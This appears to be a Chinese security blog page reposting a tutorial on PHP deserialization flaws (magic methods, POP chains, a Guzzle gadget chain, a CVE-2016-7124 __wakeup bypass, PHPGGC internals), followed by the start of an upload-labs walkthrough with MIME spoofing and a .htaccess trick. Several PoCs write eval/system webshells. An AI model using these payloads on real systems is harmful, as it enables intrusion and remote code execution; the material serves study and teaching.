根据cve-2016-7124我们可以构造一下我们的poc:<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$a = new Test('shell');
$poc = serialize($a);
print($poc);
运行该脚本,我们就获得了我们poc

通上文所说道的,在这里需要改两个地方:
将1改为大于1的任何整数
将Testpoc改为Testpoc
传入修改后的poc,即可看到:

写文件操作执行成功。
 
0x05 拓展思路
抛砖引玉——魔法函数可能造成的威胁刚刚想到这一点的时候准备好好研究一下,没想到p师傅第二天小密圈就放出来这个话题了。 接下来顺着这个思路,我们向下深挖一下。
__toString()
经过上面的总结,我们不难看出,PHP中反序列化导致的漏洞中,除了利用PHP本身的漏洞以外,我们通常会寻找__destruct、__wakeup、__toString等方法,看看这些方法中是否有可利用的代码。
而由于惯性思维,__toString常常被漏洞挖掘者忽略。 其实,当反序列化后的对象被输出在模板中的时候(转换成字符串的时候),就可以触发相应的漏洞。
__toString触发条件:
echo ($obj) / print($obj) 打印时会触发
字符串连接时
格式化字符串时
与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
格式化SQL语句,绑定参数时
数组中有字符串时
我们来写一个demo看一下
toString_demo.php<?php
class toString_demo
{
private $test1 = 'test1';
public function __construct($test)
{
$this->test1 = $test;
}
public function __destruct()
{
// TODO: Implement __destruct() method.
print "__destruct:";
print $this->test1;
print "n";
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
print "__wakeup:";
$this->test1 = "wakeup";
print $this->test1."n";
}
public function __toString()
{
// TODO: Implement __toString() method.
print "__toString:";
$this->test1 = "tosTRING";
return $this->test1."n";
}
}
$a = new toString_demo("demo");
$b = serialize($a);
$c = unserialize($b);
//print "n".$a."n";
//print $b."n";
print $c;
执行结果为下:

通过上面的测试,可以总结以下几点:
echo ($obj) / print($obj) 打印时会触发
__wakeup的优先级>__toString>__destruct
每执行完一个魔法函数,
接下来从两个方面继续来深入:
字符串操作
魔术函数的优先级可能造成的变量覆盖
字符串操作
字符串拼接:
在字符串与反序列化后的对象与字符串进行字符串拼接时,会触发__toString方法。

字符串函数:
经过测试,当反序列化后的最想在经过php字符串函数时,都会执行__toString方法,从这一点我们就可以看出,__toString所可能造成的安全隐患。
下面举几个常见的函数作为例子(所使用的类还是上面给出的toString_demo类):


数组操作
将反序列化后的对象加入到数组中,并不会触发__toString方法:

但是在in_array()方法中,在数组中有__toString返回的字符串的时候__toString会被调用:

class_exists
从in_array()方法中,我们又有了拓展性的想法。 我们都知道,在php底层,类似于in_array()这类函数,都属于先执行,之后返回判断结果。 那么顺着这个想法,我想到了去年的IPS Community Suite &lt;= 4.1.12.3 Autoloaded PHP远程代码执行漏洞, 这个漏洞中有一个非常有意思的触发点,就是通过class_exists造成相关类的调用,从而触发漏洞。 
通过测试,我们发现了,如果将反序列化后的对象带入class_exists()方法中,同样会造成__toString的执行:

猜想——对象处理过程可能出现的威胁通过class_exists可能触发的危险操作,继续向下想一下,是否在对象处理过程中也有可能存在漏洞呢?
还记的去年爆出了一个 PHP GC算法和反序列化机制释放后重用漏洞 ,是垃圾回收机制本身所出现的问题,在释放与重用的过程中存在的问题。 
顺着这个思路,大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。
 
0x06 PHPggc
在0x04的第二节中,我们提到了cms在引用某些依赖库时,可能存在(反)序列化漏洞。 那么是否有工具可以生成这些通用型漏洞的测试向量呢?
当然是存在的。 在github上我们找到了PHPggc这个工具,它可以快速的生成主流框架的序列化测试向量。 
关于该测试框架的一点简单的分析
目录结构目录结构为下:|- phpggc
|-- gadgetchains // 相应框架存在漏洞的类以及漏洞利用代码
|-- lib // 框架调度及核心代码
|-- phpggc // 入口
|-- README.md
框架运行流程首先,入口文件为phpggc,直接跟进lib/PHPGGC.php框架核心文件。
在__construct中完成了当前文件完整路径的获取,以及定义自动加载函数,以实现对于下面的类的实例化操作。
关键的操作为:$this->gadgets = $this->get_gadget_chains();


可以跟进代码看一看,其完成了对于所有payload的加载及保存,将所有的payload进行实例化,并保存在一个全局数组中,以方便调用。
可以动态跟进,看一下:public function get_gadget_chains()
{
$this->include_gadget_chains();
$classes = get_declared_classes();
$classes = array_filter($classes, function($class)
{
return is_subclass_of($class, '\PHPGGC\GadgetChain') &&
strpos($class, 'GadgetChain\') === 0;
});
$objects = array_map(function($class)
{
return new $class();
}, $classes);
# Convert backslashes in classes names to forward slashes,
# so that the command line is easier to use
$classes = array_map(function($class)
{
return strtolower(str_replace('\', '/', $class));
}, $classes);
return array_combine($classes, $objects);
}
跟进include_gadget_chains方法中看一下:protected function include_gadget_chains()
{
$base = $this->base . self::DIR_GADGETCHAINS;
$files = glob($base . '/[i]/[/i]/*/chain.php');
array_map(function ($file)
{
include_once $file;
}, $files);
}
在这边首先获取到当前路径,之后从根目录将其下子目录中的所有chain.php遍历一下,将其路劲存储到$files数组中。 接着将数组中的所有chain.php包含一遍,保证之后的调用。
回到get_gadget_chains接着向下看,将返回所有已定义类的名字所组成的数组,将其定义为$classes,接着将是PHPGGCGadgetChain子类的类,全部筛选出来(也就是将所有的payload筛选出来) ,并将其实例化,在其完成格式化后,返回一个由其名与实例化后的类所组成的键值数组。
到此,完成了最基本框架加载与类的实例化准备。
跟着运行流程,看到generate方法:public function generate()
{
global $argv;
$parameters = $this->parse_cmdline($argv);
if(count($parameters) < 1)
{
$this->help();
return;
}
$class = array_shift($parameters);
$gc = $this->get_gadget_chain($class);
$parameters = $this->get_type_parameters($gc, $parameters);
$generated = $this->serialize($gc, $parameters);
print($generated . "n");
}
代码很简单,一步一步跟着看,首先parse_cmdline完成了对于所选模块及附加参数的解析。
接下来array_shift完成的操作就是将我们所选的模块从数组中抛出来。
举个例子,比如我们输入如下:$ ./phpggc monolog/rce1 'phpinfo();'
当前的$class为monolog/rce1,看到接下来进入了get_gadget_chain方法中,带着我们参数跟进去看。public function get_gadget_chain($class)
{
$full = strtolower('GadgetChain/' . $class);
if(!in_array($full, array_keys($this->gadgets)))
{
throw new PHPGGCException('Unknown gadget chain: ' . $class);
}
return $this->gadgets[$full];
}
现在的$full为gadgetchain/monolog/rce1,ok,看一下我们全局存储的具有payload的数组:

可以很清楚的看到,返回了一个已经实例化完成的GadgetChainMonologRCE1的类。 对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php
继续向下,看到将类与参数传入了get_type_parameters,跟进:protected function get_type_parameters($gc, $parameters)
{
$arguments = $gc->parameters;
$values = @array_combine($arguments, $parameters);
if($values === false)
{
$this->o($gc, 2);
$arguments = array_map(function ($a) {
return '<' . $a . '>';
}, $arguments);
$message = 'Invalid arguments for type "' . $gc->type . '" ' . "n" .
$this->_get_command_line($gc->get_name(), ...$arguments);
throw new PHPGGCException($message);
}
return $values;
}
其完成的操作对你想要执行或者写入的代码进行装配,即code标志位与你输入的RCE代码进行键值匹配。 若未填写代码,则返回错误,成功则返回相应的数组以便进行payload的序列化。
看完了这个模块后,再看我们最后的一个模块:将RCE代码进行序列化,完成payload的生成:public function serialize($gc, $parameters)
{
$gc->load_gadgets();
$parameters = $gc->pre_process($parameters);
$payload = $gc->generate($parameters);
$payload = $this->wrap($payload);
$serialized = serialize($payload);
$serialized = $gc->post_process($serialized);
$serialized = $this->apply_filters($serialized);
return $serialized;
}
 
0x07 结语
关于PHP(反)序列化漏洞的触发和利用所涉及的东西还有很多,本文只是做一个概括性的描述,抛砖引玉,如有不精确的地方,望大家给予更正。
 
0x08 参考资料
Practical PHP Object Injection
SugarCRM 6.5.23 – REST PHP Object Injection漏洞分析
CVE-2016-7124
PHPGGC
关于PHP中的自动加载类
Phith0n小密圈的主题
 
原文来自安全客、原文作者:Lucifaer@360攻防实验室
原文链接:https://www.anquanke.com/post/id/86452 查看全部
0x00 序列化的作用
(反)序列化给我们传递对象提供了一种简单的方法。
serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象
反序列化的数据本质上来说是没有危害的
用户可控数据进行反序列化是存在危害的
可以看到,反序列化的危害,关键还是在于可控或不可控。
 
0x01 PHP序列化格式
  1. 基础格式
boolean
b:;
b:1; // True
b:0; // False

integer
i:;
i:1; // 1
i:-3; // -3

double
d:;
d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象)

NULL
N;//NULL

string
s::"";
s"INSOMNIA"; // "INSOMNIA"

array
a::{key, value pairs};
a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2")

  1. 序列化举例
test.php
<?php
class test
{
private $flag = 'Inactive';
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}

我们来生成一下它的序列化字符串:
serialize.php
<?php
require "./test.php";
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents('serialize.txt', $data);

代码不难懂,我们通过生成的序列化字符串,来细致的分析一下序列化的格式:
O:4:"test":1:{s:10:"testflag";s:6:"Active";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

  1. 注意
这里有一个需要注意的地方,testflag明明是长度为8的字符串,为什么在序列化中显示其长度为10?
翻阅php官方文档我们可以找到答案:

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上'*'。 这些前缀值在任一侧都有空字节。

所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节:
O:4:"test":1:{s:10:"testflag";s:6:"Active";}

  1. 反序列化示例
unserialize.php
<?php
$filename = file_get_contents($filename);
$object = unserialize($filename);
var_dump($object->get_flag());
var_dump($object);


 
0x02 PHP(反)序列化有关的魔法函数
construct(), destruct()
构造函数与析构函数
call(), callStatic()
方法重载的两个函数
__call()是在对象上下文中调用不可访问的方法时触发
__callStatic()是在静态上下文中调用不可访问的方法时触发。
get(), set()
__get()用于从不可访问的属性读取数据。
__set()用于将数据写入不可访问的属性。
isset(), unset()
__isset()在不可访问的属性上调用isset()或empty()触发。
__unset()在不可访问的属性上使用unset()时触发。
sleep(), wakeup()
serialize()检查您的类是否具有魔术名sleep()的函数。 如果是这样,该函数在任何序列化之前执行。 它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。 如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。 sleep()的预期用途是提交挂起的数据或执行类似的清理任务。 此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。
unserialize()使用魔术名wakeup()检查函数的存在。 如果存在,该功能可以重构对象可能具有的任何资源。 wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。
__toString()
__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。
__invoke()
当脚本尝试将对象调用为函数时,调用__invoke()方法。
__set_state()
__clone()
__debugInfo()
 
0x03 PHP反序列化与POP链
就如前文所说,当反序列化参数可控时,可能会产生严重的安全威胁。
面向对象编程从一定程度上来说,就是完成类与类之间的调用。 就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。 在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct)。
一些对我们来说有用的POP链方法:
命令执行:
exec()
passthru()
popen()
system()

文件操作:
file_put_contents()
file_get_contents()
unlink()

  1. POP链demo
popdemo.php
<?php
class popdemo
{
private $data = "demon";
private $filename = './demo';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->save($this->filename);
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}

上面的代码即完成了一个简单的POP链,若传入一个构造好的序列化字符串,则会完成写文件操作。
poc.php
<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
pop_unserialize.php
 
<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));


表面看上去,我们完美的执行了代码的功能,那么我们改一下序列化代码,看一看效果:

改为:
O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack
";s:17:"popdemofilename";s:6:"./hack";}

便执行了我们想要执行的效果:

  1. Autoloading与(反)序列化威胁
PHP只能unserialize()那些定义了的类
传统的PHP要求应用程序导入每个类中的所有类文件,这样就意味着每个PHP文件需要一列长长的include或require方法,而在当前主流的PHP框架中,都采用了Autoloading自动加载类来完成这样繁重的工作。
在完善简化了类之间调用的功能的同时,也为序列化漏洞造成了便捷。
举个例子:
目录结构为下:

index.php
<?php
class autoload
{
public static function load1($className)
{
if (is_file($className.'.php'))
{
require $className.'.php';
}
}
public static function load2($className)
{
if (is_file('./app/'.$className.'.php'))
{
require './app/'.$className.'.php';
}
}
public static function load3($className)
{
if (is_file('./lib/'.$className.'.php'))
{
require './lib/'.$className.'.php';
}
}
}
spl_autoload_register('autoload::load1()');
spl_autoload_register('autoload::load2()');
spl_autoload_register('autoload::load3()');
$test1 = new test1();
$test2 = new test2();
$test3 = new test3();

test1.php
<?php
class test1
{
private $test1_data = 'test1_data';
private $test1_filename = './test1_demo.txt';
public function __construct()
{
$this->save($this->test1_filename);
}
public function save($test1_filename)
{
file_put_contents($test1_filename, $this->test1_data);
}
}

其余的test2和test3和test1的内容类似。
运行一下index.php:

可以看到已经自动加载类会自动寻找已经注册在其队列中的类,并在其被实例化的时候,执行相关的操作。
若想了解更多关于自动加载类的资料,请查阅 spl_autoload_register
  1. Composer与Autoloading
说到了Autoloader自动加载类,就不得不说一下Composer这个东西了。 Composer是PHP用来管理依赖(dependency)关系的工具。 你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。
经常搭建框架环境的同学应该对这个非常熟悉了,无论是搭建一个新的Laravel还是一个新的Symfony,安装步骤中总有一步是通过Composer来进行安装。
比如在安装Laravel的时候,执行composer global require "laravel/installer"就可以搭建成以下目录结构的环境:

其中已经将环境所需的依赖库文件配置完毕,正是因为Composer与Autuoloading的有效结合,才构成了完整的POP数据流。
 
0x04 反序列化漏洞的挖掘
  1. 概述
通过上面对Composer的介绍,我们可以看出,Composer所拉取的依赖库文件是一个框架的基础。
而Composer默认是从Packagist来下载依赖库的。
所以我们挖掘漏洞的思路就可以从依赖库文件入手。
目前总结出来两种大的趋势,还有一种猜想:
1.从可能存在漏洞的依赖库文件入手
2.从应用的代码框架的逻辑上入手
3.从PHP语言本身漏洞入手
接下来逐个的介绍一下。
  1. 依赖库
以下这些依赖库,准确来说并不能说是依赖库的问题,只能说这些依赖库存在我们想要的文件读写或者代码执行的功能。 而引用这些依赖库的应用在引用时并没有完善的过滤,从而产生漏洞。
cartalyst/sentry
cartalyst/sentinel
寻找依赖库漏洞的方法,可以说是简单粗暴:
首先在依赖库中使用RIPS或grep全局搜索__wakeup()和__destruct()
从最流行的库开始,跟进每个类,查看是否存在我们可以利用的组件(可被漏洞利用的操作)
手动验证,并构建POP链
利用易受攻击的方式部署应用程序和POP组件,通过自动加载类来生成poc及测试漏洞。
以下为一些存在可利用组件的依赖库:
任意写
monolog/monolog(<1.11.0)
guzzlehttp/guzzle
guzzle/guzzle
任意删除
swiftmailer/swiftmailer
拒绝式服务(proc_terminate())
symfony/process
下面来举一个老外已经说过的经典例子,来具体的说一下过程。
例子
  1. 寻找可能存在漏洞的应用
存在漏洞的应用:cartalyst/sentry
漏洞存在于:/src/Cartalyst/Sentry/Cookies/NativeCookie.php
   ...
public function getCookie()
{
...
return unserialize($_COOKIE[$this->getKey()]);
...
}
}

应用使用的库中的可利用的POP组件:guzzlehttp/guzzle
寻找POP组件的最好方式,就是直接看composer.json文件,该文件中写明了应用需要使用的库。
 {
"require": {
"cartalyst/sentry": "2.1.5",
"illuminate/database": "4.0.*",
"guzzlehttp/guzzle": "6.0.2",
"swiftmailer/swiftmailer": "5.4.1"
}
}

  1. 寻找可以利用的POP组件
我们下载guzzlehttp/guzzle这个依赖库,并使用grep来搜索一下__destruct()和__wakeup()

逐个看一下,在/guzzle/src/Cookie/FileCookieJar.php发现可利用的POP组件:

跟进看一下save方法:

存在一下代码,造成任意文件写操作:
if (false === file_put_contents($filename, $jsonStr))

注意到现在$filename可控,也就是文件名可控。 同时看到$jsonStr为上层循环来得到的数组经过json编码后得到的,且数组内容为$cookie->toArray(),也就是说如果我们可控$cookie->toArray()的值,我们就能控制文件内容。
如何找到$cookie呢? 注意到前面

跟进父类,看到父类implements了CookieJarInterface

还有其中的toArray方法

很明显调用了其中的SetCookie的接口:

看一下目录结构:

所以定位到SetCookie.php:

可以看到,这里只是简单的返回了data数组的特定键值。
  1. 手动验证,并构建POP链
首先我们先在vm中写一个composer.json文件:
{
"require": {
"guzzlehttp/guzzle": "6.0.2"
}
}

接下来安装Composer:
$ curl -sS https://getcomposer.org/installer | php


然后根据composer.json来安装依赖库:
$ php composer.phar install



接下来,我们根据上面的分析,来构造payload:
payload.php
<?php
require __DIR__.'/vendor/autoload.php';
use GuzzleHttpCookieFileCookieJar;
use GuzzleHttpCookieSetCookie;
$obj = new FileCookieJar('./shell.php');
$payload = '<?php echo system($_POST['poc']);?>';
$obj->setCookie(new SetCookie([
'Name' => 'lucifaer',
'Value' => 'test_poc',
'Domain' => $paylaod,
'Expires' => time()
]));
file_put_contents('./build_poc', serialize($obj));

我们执行完该脚本,看一下生成的脚本的内容:

我们再写一个反序列化的demo脚本:
<?php
require __DIR__.'/vendor/autoload.php';
unserialize(file_get_contents("./build_poc"));

运行后,完成任意文件写操作。 至此,我们可以利用生成的序列化攻击向量来进行测试。
  1. PHP语言本身漏洞
提到这一点就不得不说去年的 CVE-2016-7124 ,同时具有代表性的漏洞即为 SugarCRM v6.5.23 PHP反序列化对象注入。 
在这里我们就不多赘述SugarCRM的这个漏洞,我们来聊一聊CVE-2016-7124这个漏洞。
触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。
漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。
我们用一个demo来解释一下。
例子
<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$poc = $_GET['poc'];
if(!isset($poc))
{
show_source(__FILE__);
die();
}
$a = unserialize($poc);

代码很简单,但是关键就是需要再反序列化的时候绕过__wakeup以达到写文件的操作。
根据cve-2016-7124我们可以构造一下我们的poc:
<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$a = new Test('shell');
$poc = serialize($a);
print($poc);

运行该脚本,我们就获得了我们poc

通上文所说道的,在这里需要改两个地方:
将1改为大于1的任何整数
将Testpoc改为Testpoc
传入修改后的poc,即可看到:

写文件操作执行成功。
 
0x05 拓展思路
  1. 抛砖引玉——魔法函数可能造成的威胁
刚刚想到这一点的时候准备好好研究一下,没想到p师傅第二天小密圈就放出来这个话题了。 接下来顺着这个思路,我们向下深挖一下。
__toString()
经过上面的总结,我们不难看出,PHP中反序列化导致的漏洞中,除了利用PHP本身的漏洞以外,我们通常会寻找__destruct、__wakeup、__toString等方法,看看这些方法中是否有可利用的代码。
而由于惯性思维,__toString常常被漏洞挖掘者忽略。 其实,当反序列化后的对象被输出在模板中的时候(转换成字符串的时候),就可以触发相应的漏洞。
__toString触发条件:
echo ($obj) / print($obj) 打印时会触发
字符串连接时
格式化字符串时
与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
格式化SQL语句,绑定参数时
数组中有字符串时
我们来写一个demo看一下
toString_demo.php
<?php
class toString_demo
{
private $test1 = 'test1';
public function __construct($test)
{
$this->test1 = $test;
}
public function __destruct()
{
// TODO: Implement __destruct() method.
print "__destruct:";
print $this->test1;
print "n";
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
print "__wakeup:";
$this->test1 = "wakeup";
print $this->test1."n";
}
public function __toString()
{
// TODO: Implement __toString() method.
print "__toString:";
$this->test1 = "tosTRING";
return $this->test1."n";
}
}
$a = new toString_demo("demo");
$b = serialize($a);
$c = unserialize($b);
//print "n".$a."n";
//print $b."n";
print $c;

执行结果为下:

通过上面的测试,可以总结以下几点:
echo ($obj) / print($obj) 打印时会触发
__wakeup的优先级>__toString>__destruct
每执行完一个魔法函数,
接下来从两个方面继续来深入:
字符串操作
魔术函数的优先级可能造成的变量覆盖
字符串操作
字符串拼接:
在字符串与反序列化后的对象与字符串进行字符串拼接时,会触发__toString方法。

字符串函数:
经过测试,当反序列化后的最想在经过php字符串函数时,都会执行__toString方法,从这一点我们就可以看出,__toString所可能造成的安全隐患。
下面举几个常见的函数作为例子(所使用的类还是上面给出的toString_demo类):


数组操作
将反序列化后的对象加入到数组中,并不会触发__toString方法:

但是在in_array()方法中,在数组中有__toString返回的字符串的时候__toString会被调用:

class_exists
从in_array()方法中,我们又有了拓展性的想法。 我们都知道,在php底层,类似于in_array()这类函数,都属于先执行,之后返回判断结果。 那么顺着这个想法,我想到了去年的IPS Community Suite &lt;= 4.1.12.3 Autoloaded PHP远程代码执行漏洞, 这个漏洞中有一个非常有意思的触发点,就是通过class_exists造成相关类的调用,从而触发漏洞。 
通过测试,我们发现了,如果将反序列化后的对象带入class_exists()方法中,同样会造成__toString的执行:

  1. 猜想——对象处理过程可能出现的威胁
通过class_exists可能触发的危险操作,继续向下想一下,是否在对象处理过程中也有可能存在漏洞呢?
还记的去年爆出了一个 PHP GC算法和反序列化机制释放后重用漏洞 ,是垃圾回收机制本身所出现的问题,在释放与重用的过程中存在的问题。 
顺着这个思路,大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。
 
0x06 PHPggc
在0x04的第二节中,我们提到了cms在引用某些依赖库时,可能存在(反)序列化漏洞。 那么是否有工具可以生成这些通用型漏洞的测试向量呢?
当然是存在的。 在github上我们找到了PHPggc这个工具,它可以快速的生成主流框架的序列化测试向量。 
关于该测试框架的一点简单的分析
  1. 目录结构
目录结构为下:
|- phpggc 
|-- gadgetchains // 相应框架存在漏洞的类以及漏洞利用代码
|-- lib // 框架调度及核心代码
|-- phpggc // 入口
|-- README.md

  1. 框架运行流程
首先,入口文件为phpggc,直接跟进lib/PHPGGC.php框架核心文件。
在__construct中完成了当前文件完整路径的获取,以及定义自动加载函数,以实现对于下面的类的实例化操作。
关键的操作为:
$this->gadgets = $this->get_gadget_chains();


可以跟进代码看一看,其完成了对于所有payload的加载及保存,将所有的payload进行实例化,并保存在一个全局数组中,以方便调用。
可以动态跟进,看一下:
public function get_gadget_chains()
{
$this->include_gadget_chains();
$classes = get_declared_classes();
$classes = array_filter($classes, function($class)
{
return is_subclass_of($class, '\PHPGGC\GadgetChain') &&
strpos($class, 'GadgetChain\') === 0;
});
$objects = array_map(function($class)
{
return new $class();
}, $classes);
# Convert backslashes in classes names to forward slashes,
# so that the command line is easier to use
$classes = array_map(function($class)
{
return strtolower(str_replace('\', '/', $class));
}, $classes);
return array_combine($classes, $objects);
}

跟进include_gadget_chains方法中看一下:
protected function include_gadget_chains()
{
$base = $this->base . self::DIR_GADGETCHAINS;
$files = glob($base . '/[i]/[/i]/*/chain.php');
array_map(function ($file)
{
include_once $file;
}, $files);
}

在这边首先获取到当前路径,之后从根目录将其下子目录中的所有chain.php遍历一下,将其路劲存储到$files数组中。 接着将数组中的所有chain.php包含一遍,保证之后的调用。
回到get_gadget_chains接着向下看,将返回所有已定义类的名字所组成的数组,将其定义为$classes,接着将是PHPGGCGadgetChain子类的类,全部筛选出来(也就是将所有的payload筛选出来) ,并将其实例化,在其完成格式化后,返回一个由其名与实例化后的类所组成的键值数组。
到此,完成了最基本框架加载与类的实例化准备。
跟着运行流程,看到generate方法:
public function generate()
{
global $argv;
$parameters = $this->parse_cmdline($argv);
if(count($parameters) < 1)
{
$this->help();
return;
}
$class = array_shift($parameters);
$gc = $this->get_gadget_chain($class);
$parameters = $this->get_type_parameters($gc, $parameters);
$generated = $this->serialize($gc, $parameters);
print($generated . "n");
}

代码很简单,一步一步跟着看,首先parse_cmdline完成了对于所选模块及附加参数的解析。
接下来array_shift完成的操作就是将我们所选的模块从数组中抛出来。
举个例子,比如我们输入如下:
$ ./phpggc monolog/rce1 'phpinfo();'

当前的$class为monolog/rce1,看到接下来进入了get_gadget_chain方法中,带着我们参数跟进去看。
public function get_gadget_chain($class)
{
$full = strtolower('GadgetChain/' . $class);
if(!in_array($full, array_keys($this->gadgets)))
{
throw new PHPGGCException('Unknown gadget chain: ' . $class);
}
return $this->gadgets[$full];
}

现在的$full为gadgetchain/monolog/rce1,ok,看一下我们全局存储的具有payload的数组:

可以很清楚的看到,返回了一个已经实例化完成的GadgetChainMonologRCE1的类。 对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php
继续向下,看到将类与参数传入了get_type_parameters,跟进:
protected function get_type_parameters($gc, $parameters)
{
$arguments = $gc->parameters;
$values = @array_combine($arguments, $parameters);
if($values === false)
{
$this->o($gc, 2);
$arguments = array_map(function ($a) {
return '<' . $a . '>';
}, $arguments);
$message = 'Invalid arguments for type "' . $gc->type . '" ' . "n" .
$this->_get_command_line($gc->get_name(), ...$arguments);
throw new PHPGGCException($message);
}
return $values;
}

其完成的操作对你想要执行或者写入的代码进行装配,即code标志位与你输入的RCE代码进行键值匹配。 若未填写代码,则返回错误,成功则返回相应的数组以便进行payload的序列化。
看完了这个模块后,再看我们最后的一个模块:将RCE代码进行序列化,完成payload的生成:
public function serialize($gc, $parameters)
{
$gc->load_gadgets();
$parameters = $gc->pre_process($parameters);
$payload = $gc->generate($parameters);
$payload = $this->wrap($payload);
$serialized = serialize($payload);
$serialized = $gc->post_process($serialized);
$serialized = $this->apply_filters($serialized);
return $serialized;
}

 
0x07 结语
关于PHP(反)序列化漏洞的触发和利用所涉及的东西还有很多,本文只是做一个概括性的描述,抛砖引玉,如有不精确的地方,望大家给予更正。
 
0x08 参考资料
Practical PHP Object Injection
SugarCRM 6.5.23 – REST PHP Object Injection漏洞分析
CVE-2016-7124
PHPGGC
关于PHP中的自动加载类
Phith0n小密圈的主题
 
原文来自安全客、原文作者:Lucifaer@360攻防实验室
原文链接:https://www.anquanke.com/post/id/86452

upload-labs通关教程(持续更新)

Web安全渗透lawliet 发表了文章 • 3 个评论 • 972 次浏览 • 2018-06-12 01:36 • 来自相关话题


最近在圈子里看到的一个文件上传闯关靶场,一共有19关,趁着这个机会做一个教程,以下的内容只是自己的思路,绕过方法应该有很多种,欢迎大家一起交流,共同学习!

靶场环境
因为环境的不同导致上传的绕过方法也会不同,在这里说明我搭建的环境信息:1-18关,操作系统为windows,使用的phpstudy的集成环境,apache版本为2.4.23,所以apache2.2.x的解析漏洞在该环境下不管用,php版本为5.2.17,apache配置文件没有修改过,是默认的配置文件

第一关





第一关的上传过滤只是在客户端进行过滤的,js对文件后缀名做了白名单限制,任何前端的验证都不算是真正的验证,在这里我使用了4种方式去绕过,这些方法都是绕过前端验证的常用方法 1.firebug查看元素,将这里的表单的onsubmit事件删除,这样提交表单时便不会触发验证函数










再次上传php就能上传










2.firebug控制台重新写一个和过滤函数名字一样的函数,使函数return true,覆盖之前的检查函数










之后上传php也能上传成功





3.在火狐浏览器中禁用js,在地址栏输入about:config,查找javascript,将javascript.enabled的类型改为false,默认值为true





禁用了js后就能绕过前端检测上传php了
4.先上传允许的后缀名绕过前端检测,之后burp抓包,在发往服务端的过程中将后缀名再修改为php










从而绕过了前端验证





第二关

第二关是在服务端做了验证,代码层对文件的MIME类型进行了检查,为了方便理解原理,可以看一下后端的检查代码if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . $_FILES['upload_file']['name'];
$is_upload = true;
}
} else {
$msg = '文件类型不正确,请重新上传!';
}有关这种场景的绕过方法,使用burp抓包,修改文件上传的content-type类型为白名单允许的图片MIME类型即可





然后就可以绕过检测上传成功了










第三关&第四关

第三关的本意其实是想上传一些后缀名为php、php2、php3、php5、phtml等文件去绕过黑名单的,但是apache的配置文件里并没有配置将这些后缀的文件当做php解析





第三关第四关都是黑名单检测,但是在这里黑名单里都没有对.htacess做限制,所以这两关都可以上传.htaccess去绕过,.htaccess文件的内容如下<FilesMatch "tony">
SetHandler application/x-httpd-php
</FilesMatch>我们将这样一个.htaccess文件上传到服务器上传目录,这样的话,当apache在解析该目录下的php时,就会按照.htaccess中的要求去解析,只要匹配到了文件名里有tony这个字符串,就会把该文件当成php文件解析首先上传这样的一个.htaccess文件





.htaccess可以上传成功





接着上传一个黑名单里没有过滤的随意后缀名文件,但是文件名里要有tony,上传一个tony.jpg,内容为一句话木马





上传成功,并且tony.jpg会被apache当成php文件解析










第四关也是同样的方法
第五关
